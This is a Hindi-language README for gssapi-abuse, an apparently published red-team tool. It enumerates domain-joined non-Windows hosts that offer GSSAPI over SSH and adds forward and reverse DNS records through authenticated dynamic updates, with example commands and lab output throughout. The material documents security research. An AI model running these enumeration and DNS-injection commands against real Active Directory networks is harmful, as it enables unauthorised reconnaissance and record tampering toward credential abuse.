
एक उपकरण जो Active Directory नेटवर्क्स में GSSAPI दुरुपयोग के लिए खुले संभावित होस्टों की गणना करता है।
gssapi-abuse को मेरी DEF CON 31 वार्ता के भाग के रूप में जारी किया गया था। दुरुपयोग वेक्टर पर पूर्ण लेख यहाँ पाया जा सकता है: A Broken Marriage: Abusing Mixed Vendor Kerberos Stacks
इस उपकरण में दो विशेषताएं हैं। पहली है उन गैर-विंडोज होस्टों की गणना करने की क्षमता जो सक्रिय निर्देशिका से जुड़े हैं और SSH पर GSSAPI प्रमाणीकरण प्रदान करते हैं।
दूसरी विशेषता उन GSSAPI दुरुपयोग योग्य होस्टों के लिए गतिशील DNS अपडेट करने की क्षमता है जिनके पास सही अग्रेषित और/या विपरीत लुकअप DNS प्रविष्टियाँ नहीं हैं। GSSAPI-आधारित प्रमाणीकरण सेवा प्रिंसिपलों के मिलान के मामले में सख्त है, इसलिए DNS प्रविष्टियों को होस्टनाम और IP पते दोनों द्वारा सेवा प्रिंसिपल नाम से मेल खाना चाहिए।
gssapi-abuse के लिए एक कार्यशील krb5 स्टैक और सही ढंग से कॉन्फ़िगर किया गया krb5.conf आवश्यक है।
विंडोज होस्टों पर, requirements.txt में सूचीबद्ध पायथन मॉड्यूल के अतिरिक्त MIT कर्बरोस सॉफ्टवेयर स्थापित किया जाना चाहिए, इसे MIT कर्बरोस वितरण पृष्ठ से प्राप्त किया जा सकता है। विंडोज krb5.conf C:\ProgramData\MIT\Kerberos5\krb5.conf पर पाया जा सकता है।
पायथन आवश्यकताओं को स्थापित करने से पहले libkrb5-dev पैकेज स्थापित करना आवश्यक है।
आवश्यकताओं की पूर्ति होने के बाद, आप pip/pip3 उपकरण के माध्यम से पायथन निर्भरताएँ स्थापित कर सकते हैं
pip install -r requirements.txt
गणना मोड सक्रिय निर्देशिका से जुड़ेगा और उन सभी कंप्यूटरों के लिए LDAP खोज करेगा जिनमें ऑपरेटिंग सिस्टम विशेषता में Windows शब्द नहीं है।
एक बार गैर-विंडोज मशीनों की सूची प्राप्त हो जाने के बाद, gssapi-abuse प्रत्येक होस्ट से SSH पर कनेक्ट करने का प्रयास करेगा और यह निर्धारित करेगा कि GSSAPI-आधारित प्रमाणीकरण की अनुमति है या नहीं।
python .\gssapi-abuse.py -d ad.ginge.com enum -u john.doe -p SuperSecret!
[=] Found 2 non Windows machines registered within AD
[!] Host ubuntu.ad.ginge.com does not have GSSAPI enabled over SSH, ignoring
[+] Host centos.ad.ginge.com has GSSAPI enabled over SSH
DNS मोड DNS-TSIG प्रोटोकॉल का उपयोग करके पोर्ट 53 पर एक प्रमाणित DNS अपडेट करने के लिए कर्बरोस और dnspython का उपयोग करता है। वर्तमान में dns मोड एक कार्यशील krb5 कॉन्फ़िगरेशन पर निर्भर करता है जिसमें एक विशिष्ट डोमेन नियंत्रक, जैसे DNS/dc1.victim.local को लक्षित करने वाला एक वैध TGT या DNS सेवा टिकट शामिल है।
एक DNS A रिकॉर्ड जोड़ना होस्ट ahost.ad.ginge.com के लिए
python .\gssapi-abuse.py -d ad.ginge.com dns -t ahost -a add --type A --data 192.168.128.50
[+] Successfully authenticated to DNS server win-af8ki8e5414.ad.ginge.com
[=] Adding A record for target ahost using data 192.168.128.50
[+] Applied 1 updates successfully
होस्ट ahost.ad.ginge.com के लिए एक विपरीत PTR रिकॉर्ड जोड़ना। ध्यान दें कि data तर्क . के साथ समाप्त होता है, यह महत्वपूर्ण है अन्यथा रिकॉर्ड ज़ोन के सापेक्ष रिकॉर्ड बन जाता है, जो हम नहीं चाहते। हमें अद्यतन करने के लिए लक्ष्य ज़ोन भी निर्दिष्ट करना होगा, क्योंकि PTR रिकॉर्ड A रिकॉर्ड से भिन्न ज़ोन में संग्रहीत होते हैं।
python .\gssapi-abuse.py -d ad.ginge.com dns --zone 128.168.192.in-addr.arpa -t 50 -a add --type PTR --data ahost.ad.ginge.com.
[+] Successfully authenticated to DNS server win-af8ki8e5414.ad.ginge.com
[=] Adding PTR record for target 50 using data ahost.ad.ginge.com.
[+] Applied 1 updates successfully
निष्पादन के बाद अग्रेषित और विपरीत DNS लुकअप परिणाम
nslookup ahost.ad.ginge.com
Server: WIN-AF8KI8E5414.ad.ginge.com
Address: 192.168.128.1
Name: ahost.ad.ginge.com
Address: 192.168.128.50
nslookup 192.168.128.50
Server: WIN-AF8KI8E5414.ad.ginge.com
Address: 192.168.128.1
Name: ahost.ad.ginge.com
Address: 192.168.128.50